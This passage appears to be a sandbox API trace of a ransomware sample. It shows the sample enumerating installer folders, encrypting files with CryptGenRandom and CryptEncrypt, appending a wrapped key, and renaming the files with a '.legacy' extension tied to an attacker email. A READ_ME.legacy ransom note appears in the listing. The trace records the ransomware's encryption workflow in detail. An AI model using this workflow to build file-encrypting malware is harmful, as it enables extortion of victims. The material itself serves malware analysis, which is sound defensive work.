dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0097.568] GetLastError () returned 0x0 [0097.568] SetLastError (dwErrCode=0x0) [0097.568] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0097.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0097.568] FindNextFileW (in: hFindFile=0x552f20, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0097.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0097.568] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0097.568] GetLastError () returned 0x0 [0097.568] SetLastError (dwErrCode=0x0) [0097.568] GetLastError () returned 0x0 [0097.568] SetLastError (dwErrCode=0x0) [0097.568] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0097.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0097.568] GetLastError () returned 0x0 [0097.568] SetLastError (dwErrCode=0x0) [0097.568] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566ee8 [0097.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566ee8 | out: hHeap=0x520000) returned 1 [0097.568] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556918 [0097.568] FindNextFileW (in: hFindFile=0x552f20, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0097.568] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0097.568] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584568 [0097.568] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0097.569] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584568 | out: pbBuffer=0x584568) returned 1 [0097.569] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0097.569] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1025\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0097.569] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5569e8 [0097.569] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0097.569] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5569e8 | out: hHeap=0x520000) returned 1 [0097.569] CreateFileW (lpFileName="\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x484 [0097.569] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=17240) returned 1 [0097.569] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4358) returned 0x58ef68 [0097.570] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4358) returned 0x5932c8 [0097.570] ReadFile (in: hFile=0x484, lpBuffer=0x58ef68, nNumberOfBytesToRead=0x4358, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x58ef68*, lpNumberOfBytesRead=0x2e1f9bc*=0x4358, lpOverlapped=0x0) returned 1 [0097.755] SetFilePointer (in: hFile=0x484, lDistanceToMove=-17240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0097.755] WriteFile (in: hFile=0x484, lpBuffer=0x5932c8*, nNumberOfBytesToWrite=0x4358, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5932c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4358, lpOverlapped=0x0) returned 1 [0097.755] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x58ef68 | out: hHeap=0x520000) returned 1 [0097.755] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5932c8 | out: hHeap=0x520000) returned 1 [0097.755] SetFilePointer (in: hFile=0x484, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4358 [0097.755] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0097.755] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584568*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584568*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0097.756] WriteFile (in: hFile=0x484, lpBuffer=0x584568*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584568*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0097.756] WriteFile (in: hFile=0x484, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0097.756] CloseHandle (hObject=0x484) returned 1 [0097.764] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584568 | out: hHeap=0x520000) returned 1 [0097.764] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0097.764] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1025\\SetupResources.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0097.973] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0097.973] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0097.973] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556918 | out: hHeap=0x520000) returned 1 [0097.973] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556848 [0097.974] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584358 [0097.974] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0097.974] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584358 | out: pbBuffer=0x584358) returned 1 [0097.974] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0097.974] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1025\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0097.974] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556570 [0097.974] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0097.974] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556570 | out: hHeap=0x520000) returned 1 [0097.974] CreateFileW (lpFileName="\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x484 [0097.974] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=74214) returned 1 [0097.975] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x121e6) returned 0x58ef68 [0097.975] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x121e6) returned 0x5a1158 [0097.975] ReadFile (in: hFile=0x484, lpBuffer=0x58ef68, nNumberOfBytesToRead=0x121e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x58ef68*, lpNumberOfBytesRead=0x2e1f9bc*=0x121e6, lpOverlapped=0x0) returned 1 [0098.133] SetFilePointer (in: hFile=0x484, lDistanceToMove=-74214, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0098.133] WriteFile (in: hFile=0x484, lpBuffer=0x5a1158*, nNumberOfBytesToWrite=0x121e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a1158*, lpNumberOfBytesWritten=0x2e1f9bc*=0x121e6, lpOverlapped=0x0) returned 1 [0098.133] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x58ef68 | out: hHeap=0x520000) returned 1 [0098.133] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a1158 | out: hHeap=0x520000) returned 1 [0098.135] SetFilePointer (in: hFile=0x484, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x121e6 [0098.135] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0098.135] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0098.136] WriteFile (in: hFile=0x484, lpBuffer=0x584358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0098.137] WriteFile (in: hFile=0x484, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0098.137] CloseHandle (hObject=0x484) returned 1 [0098.145] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584358 | out: hHeap=0x520000) returned 1 [0098.145] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0098.145] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1025\\LocalizedData.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0098.157] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0098.157] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556848 | out: hHeap=0x520000) returned 1 [0098.157] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5568b0 | out: hHeap=0x520000) returned 1 [0098.157] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d030 [0098.157] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584460 [0098.157] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0098.157] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584460 | out: pbBuffer=0x584460) returned 1 [0098.157] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0098.157] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1025\\eula.rtf", dwFileAttributes=0x80) returned 1 [0098.158] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0098.158] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0098.158] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0098.158] CreateFileW (lpFileName="\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x484 [0098.159] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=7567) returned 1 [0098.159] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1d8f) returned 0x58ef68 [0098.159] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1d8f) returned 0x590d00 [0098.159] ReadFile (in: hFile=0x484, lpBuffer=0x58ef68, nNumberOfBytesToRead=0x1d8f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x58ef68*, lpNumberOfBytesRead=0x2e1f9bc*=0x1d8f, lpOverlapped=0x0) returned 1 [0098.266] SetFilePointer (in: hFile=0x484, lDistanceToMove=-7567, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0098.266] WriteFile (in: hFile=0x484, lpBuffer=0x590d00*, nNumberOfBytesToWrite=0x1d8f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x590d00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1d8f, lpOverlapped=0x0) returned 1 [0098.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x58ef68 | out: hHeap=0x520000) returned 1 [0098.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x590d00 | out: hHeap=0x520000) returned 1 [0098.267] SetFilePointer (in: hFile=0x484, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1d8f [0098.267] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0098.267] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0098.267] WriteFile (in: hFile=0x484, lpBuffer=0x584460*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584460*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0098.267] WriteFile (in: hFile=0x484, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0098.267] CloseHandle (hObject=0x484) returned 1 [0098.279] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584460 | out: hHeap=0x520000) returned 1 [0098.279] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0098.279] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1025\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0098.281] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0098.281] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d030 | out: hHeap=0x520000) returned 1 [0098.281] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0098.281] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0098.281] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0098.281] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0098.281] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571bf8 | out: hHeap=0x520000) returned 1 [0098.281] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8c58bd8, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x553060 [0098.281] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0098.281] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0098.281] GetLastError () returned 0x0 [0098.281] SetLastError (dwErrCode=0x0) [0098.281] GetLastError () returned 0x0 [0098.282] SetLastError (dwErrCode=0x0) [0098.282] GetLastError () returned 0x0 [0098.282] SetLastError (dwErrCode=0x0) [0098.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566cf0 [0098.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d9d0 [0098.282] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0098.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0098.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x553160 [0098.282] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553160 | out: hHeap=0x520000) returned 1 [0098.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20288 [0098.282] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20288 | out: hHeap=0x520000) returned 1 [0098.282] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0098.282] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cf0 | out: hHeap=0x520000) returned 1 [0098.282] FindNextFileW (in: hFindFile=0x553060, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8c58bd8, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0098.282] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0098.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0098.282] GetLastError () returned 0x0 [0098.283] SetLastError (dwErrCode=0x0) [0098.283] GetLastError () returned 0x0 [0098.283] SetLastError (dwErrCode=0x0) [0098.283] GetLastError () returned 0x0 [0098.283] SetLastError (dwErrCode=0x0) [0098.283] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566cf0 [0098.283] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d8c8 [0098.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d8c8 | out: hHeap=0x520000) returned 1 [0098.283] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0098.283] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x553160 [0098.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553160 | out: hHeap=0x520000) returned 1 [0098.283] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201c8 [0098.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201c8 | out: hHeap=0x520000) returned 1 [0098.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0098.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cf0 | out: hHeap=0x520000) returned 1 [0098.283] FindNextFileW (in: hFindFile=0x553060, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0098.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0098.283] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0098.283] GetLastError () returned 0x0 [0098.284] SetLastError (dwErrCode=0x0) [0098.284] GetLastError () returned 0x0 [0098.284] SetLastError (dwErrCode=0x0) [0098.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0098.284] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0098.284] GetLastError () returned 0x0 [0098.284] SetLastError (dwErrCode=0x0) [0098.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0098.284] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0098.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d6b8 [0098.284] FindNextFileW (in: hFindFile=0x553060, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0098.284] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0098.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0098.284] GetLastError () returned 0x0 [0098.284] SetLastError (dwErrCode=0x0) [0098.284] GetLastError () returned 0x0 [0098.284] SetLastError (dwErrCode=0x0) [0098.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0098.284] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0098.284] GetLastError () returned 0x0 [0098.285] SetLastError (dwErrCode=0x0) [0098.285] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567118 [0098.285] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567118 | out: hHeap=0x520000) returned 1 [0098.285] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0098.285] FindNextFileW (in: hFindFile=0x553060, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8c32a12, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8c32a12, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8c58bd8, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0098.285] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0098.285] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0098.285] GetLastError () returned 0x0 [0098.285] SetLastError (dwErrCode=0x0) [0098.285] GetLastError () returned 0x0 [0098.285] SetLastError (dwErrCode=0x0) [0098.285] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0098.285] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0098.285] GetLastError () returned 0x0 [0098.285] SetLastError (dwErrCode=0x0) [0098.285] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0098.285] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0098.285] FindNextFileW (in: hFindFile=0x553060, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0098.285] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0098.285] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0098.285] GetLastError () returned 0x0 [0098.287] SetLastError (dwErrCode=0x0) [0098.288] 